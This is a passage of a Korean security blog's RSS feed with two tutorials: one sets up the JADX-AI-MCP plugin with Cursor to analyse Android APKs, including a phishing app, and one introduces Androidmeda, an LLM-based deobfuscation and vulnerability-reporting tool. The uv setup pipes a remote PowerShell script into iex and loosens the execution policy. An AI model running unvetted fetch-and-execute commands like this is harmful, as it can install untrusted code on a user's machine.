&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Reversing</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/301</guid>
      <comments>https://gomguk.tistory.com/301#entry301comment</comments>
      <pubDate>Mon, 13 Oct 2025 05:30:11 +0900</pubDate>
    </item>
    <item>
      <title>[JADX-AI-MCP] jadx 와 MCP 연동하여 APK 분석하기</title>
      <link>https://gomguk.tistory.com/300</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI의 발전은 빠르게 이루어지고 있다. 안드로이드 정적 분석에 활용할 수 있는 MCP를 소개한다. 블로그에서 MCP를 직접 다룬 적은 없지만, &lt;b&gt;AI가 다양한 외부 리소스(API, 데이터베이스, 플러그인 등)와 대화하는 언어&lt;/b&gt; 정도로 정리하고 넘어간다. 수천개의 MCP들이 개발되고 배포되고 있다. 프로토콜 표준은 정해졌지만 아직 공식 배포채널이 없어 많은 개발자들이 도구를 필요에 의해 개발하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JADX 디컴파일러와 연동하여 사용할 수 있는 MCP이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/zinja-coder/jadx-ai-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/zinja-coder/jadx-ai-mcp&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1759038389373&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - zinja-coder/jadx-ai-mcp: Plugin for JADX to integrate MCP server&quot; data-og-description=&quot;Plugin for JADX to integrate MCP server. Contribute to zinja-coder/jadx-ai-mcp development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp&quot; data-og-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/diornx/hyZJQ4uHiF/hxPPJSiFo3QpF7qYmNKGQ1/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/qv0VP/hyZJPYNz7N/OyszNep8KP2qYkWOvd833k/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512&quot;&gt;&lt;a href=&quot;https://github.com/zinja-coder/jadx-ai-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/diornx/hyZJQ4uHiF/hxPPJSiFo3QpF7qYmNKGQ1/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/qv0VP/hyZJPYNz7N/OyszNep8KP2qYkWOvd833k/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - zinja-coder/jadx-ai-mcp: Plugin for JADX to integrate MCP server&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Plugin for JADX to integrate MCP server. Contribute to zinja-coder/jadx-ai-mcp development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주요&amp;nbsp;특징&amp;nbsp;및&amp;nbsp;동작&amp;nbsp;방식&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동화된 Android APK 분석 지원 (취약점 탐지, 매니페스트/리소스 파싱 등 AI 활용).&lt;/li&gt;
&lt;li&gt;다양한 MCP 함수: 클래스/메서드 소스 추출, manifest/resource 조회, 앱 구성 파일 제공 등.&lt;/li&gt;
&lt;li&gt;Claude, LM Studio, Cursor IDE, Cherry Studio, 사용자 지정 LLM 환경 등과 연동 가능. &lt;span style=&quot;background-color: #f6e199;&quot;&gt;(이 글에서는 cursor IDE와 연동)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Python&amp;nbsp;기반&amp;nbsp;MCP&amp;nbsp;서버(jadx-mcp-server.py)와&amp;nbsp;AI&amp;nbsp;plugin(.jar)&amp;nbsp;설치&amp;nbsp;필요.&amp;nbsp;Python&amp;nbsp;패키지는&amp;nbsp;uv(의존성&amp;nbsp;관리),&amp;nbsp;httpx,&amp;nbsp;fastmcp&amp;nbsp;등을&amp;nbsp;사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설치 및 활용 요약&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;b&gt;1. jadx 및 cursor 설치&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[jadx] &lt;a href=&quot;https://github.com/skylot/jadx/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/skylot/jadx/releases&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[cursor] &lt;a href=&quot;https://cursor.com/download&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://cursor.com/download&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. JADX-GUI에 플러그인 설치: GUI 내 플러그인 관리 기능 또는 수동 .jar 설치. &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- GitHub에서는 jadx-ai-mcp-&amp;lt;version&amp;gt;.jar와 jadx-mcp-server-&amp;lt;version&amp;gt;.zip 다운로드하여 설치하는 방법도 안내하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- jadx 실행하여 plugin으로도 설치 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1993&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbBBpy/btsQSiCUO6Q/tfzW3kj7kAEmx3P4MMEzc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbBBpy/btsQSiCUO6Q/tfzW3kj7kAEmx3P4MMEzc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbBBpy/btsQSiCUO6Q/tfzW3kj7kAEmx3P4MMEzc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbBBpy%2FbtsQSiCUO6Q%2FtfzW3kj7kAEmx3P4MMEzc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;555&quot; data-origin-width=&quot;1993&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. jadx-mcp-server 준비&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/zinja-coder/jadx-ai-mcp/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/zinja-coder/jadx-ai-mcp/releases&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1759070702296&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Releases &amp;middot; zinja-coder/jadx-ai-mcp&quot; data-og-description=&quot;Plugin for JADX to integrate MCP server. Contribute to zinja-coder/jadx-ai-mcp development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp/releases&quot; data-og-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp/releases&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/gd88o/hyZJO6Nb7w/xFjRicQVuPEsjTlF7s8Rzk/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/bLTugi/hyZJV5Wzac/Kue2cR1caxzumGZId3qFAK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512&quot;&gt;&lt;a href=&quot;https://github.com/zinja-coder/jadx-ai-mcp/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/zinja-coder/jadx-ai-mcp/releases&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/gd88o/hyZJO6Nb7w/xFjRicQVuPEsjTlF7s8Rzk/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/bLTugi/hyZJV5Wzac/Kue2cR1caxzumGZId3qFAK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Releases &amp;middot; zinja-coder/jadx-ai-mcp&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Plugin for JADX to integrate MCP server. Contribute to zinja-coder/jadx-ai-mcp development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP 서버 파일(jadx-mcp-server-vX.X.X.zip)을 내려받아 jadx_mcp_server.py을 준비한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(옵션) jadx-gui에서 플러그인 설치를 수동으로 하고자 한다면 .jar 파일을 내려받아 import 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. MCP 서버 환경 구축: uv로 환경 준비 후 Python MCP 서버 실행.&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;python uv를 통한 가상환경에서 설치한다.&lt;/p&gt;
&lt;pre id=&quot;code_1759040427316&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# On Windows PowerShell.
powershell -ExecutionPolicy ByPass -c &quot;irm https://astral.sh/uv/install.ps1 | iex&quot;
# set ENV
$env:Path = &quot;C:\Users\rharn\.local\bin;$env:Path&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1759041033374&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;PS&amp;gt; uv venv --python 3.13
uv venv --python 3.13
Using CPython 3.13.07
Creating virtual environment at: .venv
Activate with: .venv\Scripts\activate

# 실행 정책 변경
PS&amp;gt; Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

# 실행 정책 원복(필요시)
# Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser

PS&amp;gt; .\.venv\Scripts\activate	# 가상환경 activate
(jadx-mcp) &amp;gt; uv pip install httpx fastmcp	# 의존성 설치&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. AI/IDE 연동: Claude Desktop, Cursor, LM Studio 등에서 mcp.json 등으로 서버 연결 설정.&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cusor 설정 &amp;gt; MCP &amp;gt; Add Custom MCP 순서로 들어가면 설정파일(json)을 수정할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2336&quot; data-origin-height=&quot;976&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tRb9x/btsQUdGTdZb/uKJqzwHGk6fmIlKupmjX1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tRb9x/btsQUdGTdZb/uKJqzwHGk6fmIlKupmjX1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tRb9x/btsQUdGTdZb/uKJqzwHGk6fmIlKupmjX1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtRb9x%2FbtsQUdGTdZb%2FuKJqzwHGk6fmIlKupmjX1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2336&quot; height=&quot;976&quot; data-origin-width=&quot;2336&quot; data-origin-height=&quot;976&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;mcp.json의 내용을 다음과 같이 수정한다. 상세 경로는 설정에 맞게 변경&lt;/p&gt;
&lt;pre id=&quot;code_1759070994434&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;jadx-mcp-server&quot;: {
      &quot;command&quot;: &quot;C:\\Users\\user\\.local\\bin\\uv.exe&quot;,
      &quot;args&quot;: [
        &quot;--directory&quot;,
        &quot;C:\\Users\\user\\.venv\\jadx-mcp-server&quot;,
        &quot;run&quot;,
        &quot;jadx_mcp_server.py&quot;
      ]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d3rOfy/btsQSwOfk2c/T9VkvCQ9FNa4MvSwtfL3K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d3rOfy/btsQSwOfk2c/T9VkvCQ9FNa4MvSwtfL3K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d3rOfy/btsQSwOfk2c/T9VkvCQ9FNa4MvSwtfL3K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd3rOfy%2FbtsQSwOfk2c%2FT9VkvCQ9FNa4MvSwtfL3K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1638&quot; height=&quot;796&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정이 완료되면, 정상적으로 로드된 MCP와 이용가능한 함수를 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;6. 실시간 분석: 코드, 메니페스트, 리소스에 대한 실시간 LLM 기반 분석 요청 가능.&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결된 후에는 cursor의 프롬프트에 수행하고자 하는 프롬프트를 입력하면 된다. 샘플 앱의 메인 액티비티와 어떤 행위를 가장 먼저 수행하는지 분석하도록 요청했다. 악성행위(피싱)를 하는 앱을 대상으로 해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI3odW/btsQUBnhEEV/JbIO2hr0qTw5GtIWXaWyp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI3odW/btsQUBnhEEV/JbIO2hr0qTw5GtIWXaWyp0/img.png&quot; data-origin-width=&quot;1619&quot; data-origin-height=&quot;1550&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.4006%; margin-right: 10px;&quot; data-widthpercent=&quot;52.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI3odW/btsQUBnhEEV/JbIO2hr0qTw5GtIWXaWyp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI3odW%2FbtsQUBnhEEV%2FJbIO2hr0qTw5GtIWXaWyp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1619&quot; height=&quot;1550&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdPFPS/btsQQVuHLZn/RVJ9Er6bKCfVrvDKqIKOV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdPFPS/btsQQVuHLZn/RVJ9Er6bKCfVrvDKqIKOV0/img.png&quot; data-origin-width=&quot;1605&quot; data-origin-height=&quot;1665&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.4366%;&quot; data-widthpercent=&quot;47.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdPFPS/btsQQVuHLZn/RVJ9Er6bKCfVrvDKqIKOV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdPFPS%2FbtsQQVuHLZn%2FRVJ9Er6bKCfVrvDKqIKOV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1605&quot; height=&quot;1665&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 받은 프롬프트에 따라 분석 계획을 잡고, 난독화와 실행 로직까지 분석하여 상세하게 알려준다. 이것 이외에도 클래스, 메소드 탐색, 실행 분기 흐름 분석, 문자열 노출 등 다양한 명령을 자연어로 수행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 설치 파일을 디컴파일하여 얻을 수 있는 정적 분석 정보를 수집하는 데에 시간을 크게 단축시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/300</guid>
      <comments>https://gomguk.tistory.com/300#entry300comment</comments>
      <pubDate>Mon, 29 Sep 2025 05:30:47 +0900</pubDate>
    </item>
    <item>
      <title>[Androidmeda] LLM Powered Deobfuscation for Android Apps</title>
      <link>https://gomguk.tistory.com/299</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 앱 분석과 리버싱은 많은 시간과 노력을 필요로 한다. 여기에 코드 난독화까지 적용되면 분석 난이도는 기하급수적으로 높아진다. 난독화된 코드를 읽는 일은 마치 매번 새로운 외국어를 배우는 것처럼 느껴진다. 실제로 금융앱이나 악성앱에는 ProGuard, DexGuard 등 난독화 솔루션이 적용되어 클래스/함수 이름을 알아보기 어렵게 바꾸고 분석을 방해한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 이러한 문제를 해결하기 위한 새로운 접근법으로 LLM을 이용한 코드 해독 도구들이 등장하고 있다. 이번 포스팅에서는 그 중에서도 주목할 만한 성능을 보여주는 Androidmeda라는 오픈 소스 도구를 소개한다. 이 도구가 어느 정도까지 난독화를 해제할 수 있는지, 그리고 LLM 연동 분석을 위해 어떤 준비가 필요한지 살펴본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Androidmeda&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/In3tinct/Androidmeda&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/In3tinct/Androidmeda&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1756903999900&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - In3tinct/Androidmeda: LLM tool to deobfuscate android app and find any potential vulnerabilities in android apps and  c&quot; data-og-description=&quot;LLM tool to deobfuscate android app and find any potential vulnerabilities in android apps and code. - In3tinct/Androidmeda&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/In3tinct/Androidmeda&quot; data-og-url=&quot;https://github.com/In3tinct/Androidmeda&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/jRFR7/hyZGjThRgp/KPNxllE1oTIRHFl8CUr6Pk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bu3Fvf/hyZGfJ5j9k/xV8A1wnoLhMZMlbddTFjHK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/In3tinct/Androidmeda&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/In3tinct/Androidmeda&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/jRFR7/hyZGjThRgp/KPNxllE1oTIRHFl8CUr6Pk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bu3Fvf/hyZGfJ5j9k/xV8A1wnoLhMZMlbddTFjHK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - In3tinct/Androidmeda: LLM tool to deobfuscate android app and find any potential vulnerabilities in android apps and c&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;LLM tool to deobfuscate android app and find any potential vulnerabilities in android apps and code. - In3tinct/Androidmeda&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름과 유사하게 안드로메다로 가버린 디컴파일 코드를 분석해준다는 도구일까. 이 도구는 앱의 코드를 대형 언어 모델(LLM)을 통해 이해하기 쉽게 재구성해주는 도구이다. 난독화로 의미를 잃은 클래스명, 변수명들을 추론하여 해석가능한 이름으로 바꿔주고, 복잡한 로직에는 주석을 달아 동작을 설명해주며, 나아가 보안 취약점이 의심되는 부분을 자동으로 찾아 리포트까지 생성해주는 AI 기반 도구이다.&lt;/p&gt;
&lt;pre id=&quot;code_1756903986892&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone https://github.com/In3tinct/Deobfuscate-android-app.git&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구의 사용법도 간단하다. 분석 대상 APK를 디컴파일하여 자바 소스 코드(JADX의 sources 경로)를 준비한다. 그런 다음 Androidmeda 스크립트를 실행하면서 LLM 모델 종류와 소스 코드 경로 등을 지정하면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1756903773705&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;jadx target.apk -d target_jadx/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1756903788111&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# llama3.1 8B:
python3 androidmeda.py \\\\
  --llm_provider=ollama \\\\
  --llm_model=&quot;llama3.1:8b&quot; \\\\
  --output_dir=./result_llama3/ \\\\
  --source_dir=./beetlebug_jadx/sources/app/beetlebug/ \\\\
  --save_code=true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 결과로 JSON 형식의 vuln_report 파일이 생성되며 코드 내 잠재 위험 요소와 그 영향도가 요약되고, 옵션에 따라 난독화가 해제된 주석 포함 코드도 디렉토리 구조로 출력된다.(서드 파티 라이브러리가 아닌 앱 고유 코드가 있는 특정 디렉토리만 지정하도록 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델별로 성능을 비교한 곳도 있다. (출처: &lt;a href=&quot;https://fuzzinglabs.com/llm-assisted-android-deobfuscation-benchmark&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://fuzzinglabs.com/llm-assisted-android-deobfuscation-benchmark&lt;/a&gt;)&lt;/p&gt;
